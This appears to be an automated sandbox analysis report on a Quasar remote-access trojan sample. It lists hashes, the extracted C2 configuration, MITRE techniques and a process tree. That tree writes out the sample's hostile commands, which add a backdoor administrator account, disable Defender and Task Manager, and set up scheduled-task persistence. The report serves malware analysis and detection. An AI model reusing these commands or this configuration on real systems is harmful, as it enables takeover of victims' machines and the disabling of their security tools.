quasar | 6f08d8eb4044dd872b38ff8d6a2b6e86efa9f7d777cb1b09e1f575bfed9467a2

Analysis

max time kernel
64s
max time network
76s
platform
windows11-21h2_x64
resource
win11-20241007-en
resource tags

arch:x64arch:x86image:win11-20241007-enlocale:en-usos:windows11-21h2-x64system
submitted
17-12-2024 12:06

Sharing

Copy URL

Twitter E-mail

Reason

Machine shutdown

Report Analysis Logs

General

Target

Lose2himato.exe
Size

135.3MB
MD5

30b32bc02534355b906a37951b458808
SHA1

61eada367af3558e45c8583e174cdef13e68b93b
SHA256

6f08d8eb4044dd872b38ff8d6a2b6e86efa9f7d777cb1b09e1f575bfed9467a2
SHA512

8735788ded8836ac0b5be86356263cba2899367964ca8711a8d89b84cecf8c50be799274bfae5d4c6b8bc5d4dea7f04f836f10bf230041677c61977299887839
SSDEEP

786432:zl5HNB9mAbrDMZBfPPgs9TFMd15DeSqVO0EQWW2IxEm+KoZd7APUF85n9wwTtLwG:J5gOsPfmZ0/EmREdEPUF85nSUgTI

Score

10^/10

quasar office04 defense_evasion discovery evasion ransomware spyware trojan

Malware Config

Extracted

Family

quasar

Version

1.4.1

Botnet

Office04

himato667-58401.portmap.host:58401

Mutex

0e2bc079-3316-407c-a26f-115195d9fe5b

Attributes

encryption_key
D14CC6B8490A41A48C1E115285B6932B9A857EA0
install_name
Client.exe
log_directory
Logs
reconnect_delay
3000
startup_key
Quasar Client Startup
subdirectory
SubDir

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar
Quasar family
quasar

Quasar payload 2 IoCs

resource	yara_rule
behavioral1/files/0x001a00000002ab14-55.dat	family_quasar
behavioral1/memory/2508-57-0x00000000009C0000-0x0000000000CE4000-memory.dmp	family_quasar

Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098
Disables Task Manager via registry modification
evasion

Indicator Removal: Network Share Connection Removal 1 TTPs 1 IoCs

Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation.

defense_evasion

Network Share Connection Removal

T1070.005

pid	Process
2212	cmd.exe

Executes dropped EXE 7 IoCs

pid	Process
2508	better.exe
3908	Client.exe
3512	Client.exe
5464	Client.exe
4264	Client.exe
3628	Client.exe
4396	Client.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
1	discord.com
11	discord.com

Drops file in System32 directory 2 IoCs

description	ioc	Process
File created	C:\Windows\system32\SubDir\Client.exe	better.exe
File opened for modification	C:\Windows\system32\SubDir\Client.exe	better.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2584844841-1405471295-1760131749-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\MySingleFileApp\\wallpaper.bmp"	Lose2himato.exe

Drops file in Windows directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Panther\UnattendGC\setupact.log	UserOOBEBroker.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	UserOOBEBroker.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	UserOOBEBroker.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	UserOOBEBroker.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
discovery

Local Groups
T1069.001

System Location Discovery: System Language Discovery 1 TTPs 28 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Lose2himato.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	shutdown.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	FileCoAuth.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 6 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
5716	PING.EXE
5484	PING.EXE
3236	PING.EXE
6052	PING.EXE
1748	PING.EXE
2488	PING.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Modifies data under HKEY_USERS 15 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\AccentColor = "4292114432"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationBlurBalance = "1"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\StartColorMenu = "4290799360"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentColorMenu = "4292114432"	LogonUI.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = 99ebff004cc2ff000091f8000078d4000067c000003e9200001a6800f7630c00	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationGlassAttribute = "1"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColor = "3288365268"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglow = "3288365268"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\EnableWindowColorization = "179"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColorBalance = "89"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglowBalance = "10"	LogonUI.exe

Modifies registry class 5 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2584844841-1405471295-1760131749-1000_Classes\Local Settings\MuiCache	BackgroundTransferHost.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-2584844841-1405471295-1760131749-1000\{6B68ABAB-ADEE-4CE5-8DA7-ADEE952F3BDD}	msedge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2584844841-1405471295-1760131749-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Settings\Cache\Content\CachePrefix	BackgroundTransferHost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2584844841-1405471295-1760131749-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:"	BackgroundTransferHost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2584844841-1405471295-1760131749-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Settings\Cache\History\CachePrefix = "Visited:"	BackgroundTransferHost.exe

Runs net.exe

Runs ping.exe 1 TTPs 6 IoCs

Remote System Discovery

T1018

pid	Process
5484	PING.EXE
3236	PING.EXE
6052	PING.EXE
1748	PING.EXE
2488	PING.EXE
5716	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 7 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4576	schtasks.exe
5472	schtasks.exe
5504	schtasks.exe
5884	schtasks.exe
5396	schtasks.exe
5644	schtasks.exe
2700	schtasks.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
4672	msedge.exe
4672	msedge.exe
480	msedge.exe
480	msedge.exe
2016	msedge.exe
2016	msedge.exe
4212	msedge.exe
4212	msedge.exe
5896	identity_helper.exe
5896	identity_helper.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 10 IoCs

pid	Process
480	msedge.exe
480	msedge.exe
480	msedge.exe
480	msedge.exe
480	msedge.exe
480	msedge.exe
480	msedge.exe
480	msedge.exe
480	msedge.exe
480	msedge.exe

Suspicious use of AdjustPrivilegeToken 9 IoCs

description	pid	Process
Token: SeDebugPrivilege	2508	better.exe
Token: SeDebugPrivilege	3908	Client.exe
Token: SeDebugPrivilege	3512	Client.exe
Token: SeDebugPrivilege	5464	Client.exe
Token: SeShutdownPrivilege	5732	shutdown.exe
Token: SeRemoteShutdownPrivilege	5732	shutdown.exe
Token: SeDebugPrivilege	4264	Client.exe
Token: SeDebugPrivilege	3628	Client.exe
Token: SeDebugPrivilege	4396	Client.exe

Suspicious use of FindShellTrayWindow 32 IoCs

pid	Process
3908	Client.exe
480	msedge.exe
480	msedge.exe
480	msedge.exe
480	msedge.exe
480	msedge.exe
480	msedge.exe
480	msedge.exe
480	msedge.exe
480	msedge.exe
480	msedge.exe
480	msedge.exe
480	msedge.exe
480	msedge.exe
480	msedge.exe
480	msedge.exe
480	msedge.exe
480	msedge.exe
480	msedge.exe
480	msedge.exe
480	msedge.exe
480	msedge.exe
480	msedge.exe
480	msedge.exe
480	msedge.exe
480	msedge.exe
3512	Client.exe
480	msedge.exe
5464	Client.exe
4264	Client.exe
3628	Client.exe
4396	Client.exe

Suspicious use of SendNotifyMessage 18 IoCs

pid	Process
3908	Client.exe
480	msedge.exe
480	msedge.exe
480	msedge.exe
480	msedge.exe
480	msedge.exe
480	msedge.exe
480	msedge.exe
480	msedge.exe
480	msedge.exe
480	msedge.exe
480	msedge.exe
480	msedge.exe
3512	Client.exe
5464	Client.exe
4264	Client.exe
3628	Client.exe
4396	Client.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
964	PickerHost.exe
5496	LogonUI.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3932 wrote to memory of 3464	3932	Lose2himato.exe	77
PID 3932 wrote to memory of 3464	3932	Lose2himato.exe	77
PID 3932 wrote to memory of 3464	3932	Lose2himato.exe	77
PID 3932 wrote to memory of 1512	3932	Lose2himato.exe	79
PID 3932 wrote to memory of 1512	3932	Lose2himato.exe	79
PID 3932 wrote to memory of 1512	3932	Lose2himato.exe	79
PID 3932 wrote to memory of 4372	3932	Lose2himato.exe	81
PID 3932 wrote to memory of 4372	3932	Lose2himato.exe	81
PID 3932 wrote to memory of 4372	3932	Lose2himato.exe	81
PID 3932 wrote to memory of 2212	3932	Lose2himato.exe	83
PID 3932 wrote to memory of 2212	3932	Lose2himato.exe	83
PID 3932 wrote to memory of 2212	3932	Lose2himato.exe	83
PID 3464 wrote to memory of 2196	3464	cmd.exe	85
PID 3464 wrote to memory of 2196	3464	cmd.exe	85
PID 3464 wrote to memory of 2196	3464	cmd.exe	85
PID 3932 wrote to memory of 2996	3932	Lose2himato.exe	86
PID 3932 wrote to memory of 2996	3932	Lose2himato.exe	86
PID 3932 wrote to memory of 2996	3932	Lose2himato.exe	86
PID 2196 wrote to memory of 1012	2196	net.exe	88
PID 2196 wrote to memory of 1012	2196	net.exe	88
PID 2196 wrote to memory of 1012	2196	net.exe	88
PID 2212 wrote to memory of 1252	2212	cmd.exe	89
PID 2212 wrote to memory of 1252	2212	cmd.exe	89
PID 2212 wrote to memory of 1252	2212	cmd.exe	89
PID 1252 wrote to memory of 3672	1252	net.exe	90
PID 1252 wrote to memory of 3672	1252	net.exe	90
PID 1252 wrote to memory of 3672	1252	net.exe	90
PID 1512 wrote to memory of 872	1512	cmd.exe	91
PID 1512 wrote to memory of 872	1512	cmd.exe	91
PID 1512 wrote to memory of 872	1512	cmd.exe	91
PID 4372 wrote to memory of 788	4372	cmd.exe	92
PID 4372 wrote to memory of 788	4372	cmd.exe	92
PID 4372 wrote to memory of 788	4372	cmd.exe	92
PID 2996 wrote to memory of 1844	2996	cmd.exe	93
PID 2996 wrote to memory of 1844	2996	cmd.exe	93
PID 2996 wrote to memory of 1844	2996	cmd.exe	93
PID 872 wrote to memory of 1572	872	net.exe	94
PID 872 wrote to memory of 1572	872	net.exe	94
PID 872 wrote to memory of 1572	872	net.exe	94
PID 788 wrote to memory of 2132	788	net.exe	95
PID 788 wrote to memory of 2132	788	net.exe	95
PID 788 wrote to memory of 2132	788	net.exe	95
PID 3932 wrote to memory of 2508	3932	Lose2himato.exe	96
PID 3932 wrote to memory of 2508	3932	Lose2himato.exe	96
PID 2508 wrote to memory of 2700	2508	better.exe	97
PID 2508 wrote to memory of 2700	2508	better.exe	97
PID 2508 wrote to memory of 3908	2508	better.exe	99
PID 2508 wrote to memory of 3908	2508	better.exe	99
PID 3908 wrote to memory of 4576	3908	Client.exe	100
PID 3908 wrote to memory of 4576	3908	Client.exe	100
PID 3908 wrote to memory of 2052	3908	Client.exe	102
PID 3908 wrote to memory of 2052	3908	Client.exe	102
PID 2052 wrote to memory of 4076	2052	cmd.exe	104
PID 2052 wrote to memory of 4076	2052	cmd.exe	104
PID 2052 wrote to memory of 2488	2052	cmd.exe	105
PID 2052 wrote to memory of 2488	2052	cmd.exe	105
PID 3932 wrote to memory of 5064	3932	Lose2himato.exe	106
PID 3932 wrote to memory of 5064	3932	Lose2himato.exe	106
PID 3932 wrote to memory of 5064	3932	Lose2himato.exe	106
PID 3932 wrote to memory of 2864	3932	Lose2himato.exe	107
PID 3932 wrote to memory of 2864	3932	Lose2himato.exe	107
PID 3932 wrote to memory of 2864	3932	Lose2himato.exe	107
PID 5064 wrote to memory of 2684	5064	cmd.exe	110
PID 5064 wrote to memory of 2684	5064	cmd.exe	110

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\Lose2himato.exe
"C:\Users\Admin\AppData\Local\Temp\Lose2himato.exe"
1⤵
- Sets desktop wallpaper using registry
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3932
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net user OWN3DbyHXM4TO /add
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3464
- - C:\Windows\SysWOW64\net.exe
    net user OWN3DbyHXM4TO /add
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2196
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 user OWN3DbyHXM4TO /add
      4⤵
      System Location Discovery: System Language Discovery
      PID:1012
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net user OWN3DbyHXM4TO Test
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1512
- - C:\Windows\SysWOW64\net.exe
    net user OWN3DbyHXM4TO Test
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:872
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 user OWN3DbyHXM4TO Test
      4⤵
      System Location Discovery: System Language Discovery
      PID:1572
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net localgroup Administrators "OWN3DbyHXM4TO" /add
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4372
- - C:\Windows\SysWOW64\net.exe
    net localgroup Administrators "OWN3DbyHXM4TO" /add
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:788
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 localgroup Administrators "OWN3DbyHXM4TO" /add
      4⤵
      System Location Discovery: System Language Discovery
      PID:2132
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net localgroup Administrators "%USERNAME%" /delete
  2⤵
  - Indicator Removal: Network Share Connection Removal
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2212
- - C:\Windows\SysWOW64\net.exe
    net localgroup Administrators "Admin" /delete
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1252
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 localgroup Administrators "Admin" /delete
      4⤵
      System Location Discovery: System Language Discovery
      PID:3672
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Microsoft Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2996
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Microsoft Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1844
- C:\Users\Admin\AppData\Local\Temp\MySingleFileApp\better.exe
  "C:\Users\Admin\AppData\Local\Temp\MySingleFileApp\better.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2508
- - C:\Windows\SYSTEM32\schtasks.exe
    "schtasks" /create /tn "Quasar Client Startup" /sc ONLOGON /tr "C:\Windows\system32\SubDir\Client.exe" /rl HIGHEST /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2700
- - C:\Windows\system32\SubDir\Client.exe
    "C:\Windows\system32\SubDir\Client.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    - Suspicious use of WriteProcessMemory
    PID:3908
  - - C:\Windows\SYSTEM32\schtasks.exe
      "schtasks" /create /tn "Quasar Client Startup" /sc ONLOGON /tr "C:\Windows\system32\SubDir\Client.exe" /rl HIGHEST /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4576
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\rGOCJRmEy1WZ.bat" "
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2052
    - - C:\Windows\system32\chcp.com
        
        chcp 65001
        5⤵
        
        PID:4076
    - - C:\Windows\system32\PING.EXE
        
        ping -n 10 localhost
        5⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:2488
    - - C:\Windows\system32\SubDir\Client.exe
        
        "C:\Windows\system32\SubDir\Client.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        
        PID:3512
      - C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "Quasar Client Startup" /sc ONLOGON /tr "C:\Windows\system32\SubDir\Client.exe" /rl HIGHEST /f
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:5472
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\d8pvrSCKeOpZ.bat" "
        6⤵
        
        PID:5620
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        7⤵
        
        PID:5700
        
        C:\Windows\system32\PING.EXE
        
        ping -n 10 localhost
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:5716
        
        C:\Windows\system32\SubDir\Client.exe
        
        "C:\Windows\system32\SubDir\Client.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        
        PID:5464
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "Quasar Client Startup" /sc ONLOGON /tr "C:\Windows\system32\SubDir\Client.exe" /rl HIGHEST /f
        8⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:5504
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\8yWOT342Wa0I.bat" "
        8⤵
        
        PID:5568
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        9⤵
        
        PID:5648
        
        C:\Windows\system32\PING.EXE
        
        ping -n 10 localhost
        9⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:5484
        
        C:\Windows\system32\SubDir\Client.exe
        
        "C:\Windows\system32\SubDir\Client.exe"
        9⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        
        PID:4264
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "Quasar Client Startup" /sc ONLOGON /tr "C:\Windows\system32\SubDir\Client.exe" /rl HIGHEST /f
        10⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:5884
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\PxoV6kOhZOxz.bat" "
        10⤵
        
        PID:4192
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        11⤵
        
        PID:5932
        
        C:\Windows\system32\PING.EXE
        
        ping -n 10 localhost
        11⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:3236
        
        C:\Windows\system32\SubDir\Client.exe
        
        "C:\Windows\system32\SubDir\Client.exe"
        11⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        
        PID:3628
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "Quasar Client Startup" /sc ONLOGON /tr "C:\Windows\system32\SubDir\Client.exe" /rl HIGHEST /f
        12⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:5396
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\3v9FiJAiRCNj.bat" "
        12⤵
        
        PID:3008
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        13⤵
        
        PID:2096
        
        C:\Windows\system32\PING.EXE
        
        ping -n 10 localhost
        13⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:6052
        
        C:\Windows\system32\SubDir\Client.exe
        
        "C:\Windows\system32\SubDir\Client.exe"
        13⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        
        PID:4396
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "Quasar Client Startup" /sc ONLOGON /tr "C:\Windows\system32\SubDir\Client.exe" /rl HIGHEST /f
        14⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:5644
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugJeFIzvxXAu.bat" "
        14⤵
        
        PID:1236
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        15⤵
        
        PID:2140
        
        C:\Windows\system32\PING.EXE
        
        ping -n 10 localhost
        15⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:1748
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v Wallpaper /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\MySingleFileApp\wallpaper.bmp /f
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5064
- - C:\Windows\SysWOW64\reg.exe
    REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v Wallpaper /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\MySingleFileApp\wallpaper.bmp /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2684
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v WallpaperStyle /t REG_SZ /d 3 /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2864
- - C:\Windows\SysWOW64\reg.exe
    REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v WallpaperStyle /t REG_SZ /d 3 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1944
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1264
- - C:\Windows\SysWOW64\reg.exe
    REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3532
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableGpedit /t REG_DWORD /d 1 /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1872
- - C:\Windows\SysWOW64\reg.exe
    REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableGpedit /t REG_DWORD /d 1 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4396
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c start https://x.com/Lose2hxm4to
  2⤵
  - System Location Discovery: System Language Discovery
  PID:868
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
